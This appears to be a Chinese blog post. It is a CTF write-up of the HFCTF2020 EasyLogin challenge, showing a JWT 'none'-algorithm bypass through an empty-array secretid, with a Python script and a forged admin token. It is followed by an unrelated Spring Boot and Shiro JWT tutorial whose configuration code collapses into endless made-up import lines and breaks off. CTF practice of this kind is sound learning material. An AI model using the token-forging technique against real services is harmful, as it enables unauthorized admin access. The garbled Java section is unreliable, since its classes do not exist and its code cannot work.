jwt(练习)

目录

[HFCTF2020]EasyLogin

第一部分

第二部分

 第三部分

第四部分


JWT一般由三部分组成,并使用base64编码

标头、payload、签名

标头由两部分组成:令牌的类型和所使用的签名算法

"alg":"HS256",        "typ":"JWT" 

payload分为三种类型,注册的,公共的和私人权利 

jwt是什么

JWT(JSON Web Token)是一个包含签名数据结构的字符串,通常用于对用户进行身份验证。JWT包含一个加密签名,例如数据上的HMAC。因此,只有服务器可以创建和修改令牌。这意味着服务器可以安全地userid=123在令牌中,并将令牌交给客户端,而不必担心客户端更改其用户标识符。这样,身份验证可以是无状态的:服务器不必记住令牌或用户的任何信息,因为所有信息都包含在令牌中。 

JSON Web Tokens - jwt.io 官网,了解了以后我们可以刷题练习一下

[HFCTF2020]EasyLogin

打开界面以后,感觉是一道sql注入题目, 然后注册admin 发现已经被占用了,然后随机注册一个账号并登录

进入了以后,发现了一个查看flag的窗口,然后发现拒绝访问,这时候就想起了admin这个账号的作用,在登录框的时候抓一下包

 发现这是一个jwt,最明显的特征就是分成了三段,每一段用.连接

发现用了HS256编码,这时候有一个思路就是换成none的编码格式我们就可以把账户改为admin然后得到了权限就可以得到flag了

仅仅是有这个想法,但是不知道如何去实现,只能扒一下大佬们的wp了

 源码竟然有一个超链接,然后

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}
译

第一部分

const username = $("#username").val();
const password = $("#password").val();

意思就是通过val(),获得这个标签的value的值,赋值给你声明的变量 const username

第二部分

const token=sessionStorage.getItem("token")

 第三部分

$.post("/api/login", {username, password, authorization:token})

也就是使用post访问,前面为url,后面为参数。

第四部分

        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);

然后是done和fail方法,成功了就重定位到/home目录,失败了就返回异常信息。

        const {status} = data;

相当于 const status=this.state.status

查看WP发现,需要读取controllers/api.js

看了很多版本wp,都是据经验而言,先积累经验扒

查看/static/js/app.js,发现提示知道是koa框架

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

 koa框架下有controllers目录,controllers目录下存有api.js,url直接访问(/controllers/api.js)可得

利用方式

利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。

js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); }

这样secrret为空,加密算法也为none,成功绕过jwt验证

import jwt
token = jwt.encode(
    {
        "secretid": [],
        "username": "admin",
        "password": "123456",
        "iat": 1665728024
    },
    algorithm="none", key="").decode(encoding='utf-8')
print(token)

iat换成自己的就可以,然后生成

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY2NTcyODAyNH0.
登录的时候burp抓包,换一下

 

 然后抓包这个flag 界面,重发包获得flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在Spring Boot中实现JWT登录验证可以结合Shiro和Redis来实现。下面是一个简单的示例代码: 1. 首先,需要添加相关依赖: ```xml <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring-boot-starter</artifactId> <version>1.7.1</version> </dependency> <dependency> <groupId>io.jsonwebtoken</groupId> <artifactId>jjwt</artifactId> <version>0.9.1</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> </dependency> ``` 2. 创建一个JWT工具类,用于生成和解析JWT: ```java import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; import java.util.Date; @Component public class JwtUtils { @Value("${jwt.secret}") private String secret; @Value("${jwt.expiration}") private Long expiration; public String generateToken(String username) { Date now = new Date(); Date expireDate = new Date(now.getTime() + expiration * 1000); return Jwts.builder() .setSubject(username) .setIssuedAt(now) .setExpiration(expireDate) .signWith(SignatureAlgorithm.HS512, secret) .compact(); } public String getUsernameFromToken(String token) { Claims claims = Jwts.parser() .setSigningKey(secret) .parseClaimsJws(token) .getBody(); return claims.getSubject(); } public boolean validateToken(String token) { try { Jwts.parser().setSigningKey(secret).parseClaimsJws(token); return true; } catch (Exception e) { return false; } } } ``` 3. 创建一个自定义的Realm类,用于处理登录验证和权限控制: ```java import org.apache.shiro.authc.*; import org.apache.shiro.realm.AuthenticatingRealm; import org.springframework.beans.factory.annotation.Autowired; public class JwtRealm extends AuthenticatingRealm { @Autowired private JwtUtils jwtUtils; @Override public boolean supports(AuthenticationToken token) { return token instanceof JwtToken; } @Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException { JwtToken jwtToken = (JwtToken) authenticationToken; String token = jwtToken.getToken(); if (!jwtUtils.validateToken(token)) { throw new IncorrectCredentialsException("Token无效"); } String username = jwtUtils.getUsernameFromToken(token); // TODO: 根据用户名查询用户信息 return new SimpleAuthenticationInfo(username, token, getName()); } } ``` 4. 创建一个自定义的Filter类,用于处理JWT的验证和授权: ```java import org.apache.shiro.web.filter.authc.BasicHttpAuthenticationFilter; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.web.bind.annotation.RequestMethod; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class JwtFilter extends BasicHttpAuthenticationFilter { @Autowired private JwtUtils jwtUtils; @Override protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) { HttpServletRequest httpServletRequest = (HttpServletRequest) request; String token = httpServletRequest.getHeader("Authorization"); if (token != null && token.startsWith("Bearer ")) { token = token.substring(7); } if (jwtUtils.validateToken(token)) { return true; } throw new UnauthorizedException("Token无效"); } @Override protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception { HttpServletResponse httpServletResponse = (HttpServletResponse) response; httpServletResponse.setStatus(HttpStatus.UNAUTHORIZED.value()); return false; } } ``` 5. 在Spring Boot的配置文件中配置相关参数: ```properties # JWT配置 jwt.secret=your_secret_key jwt.expiration=3600 ``` 6. 在Spring Boot的配置类中配置Shiro和Redis: ```java import org.apache.shiro.mgt.SecurityManager; import org.apache.shiro.realm.Realm; import org.apache.shiro.session.mgt.SessionManager; import org.apache.shiro.session.mgt.eis.EnterpriseCacheSessionDAO; import org.apache.shiro.session.mgt.eis.SessionDAO; import org.apache.shiro.session.mgt.eis.SessionIdGenerator; import org.apache.shiro.session.mgt.eis.SimpleSessionIdGenerator; import org.apache.shiro.session.mgt.eis.SessionIdCookie; import org.apache.shiro.session.mgt.eis.SessionIdCookieEnabled; import org.apache.shiro.session.mgt.eis.SessionIdCookieSessionFactory; import org.apache.shiro.session.mgt.eis.SessionIdUrlRewritingEnabled; import org.apache.shiro.session.mgt.eis.SessionManagerEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationScheduler; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerFactory; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactory; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionManager; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionManagerEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabledEnabled; import org.apache.shiro.session.mgt.eis.SessionValidationSchedulerSessionFactoryEnabledEnabledEnabledEnabled
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值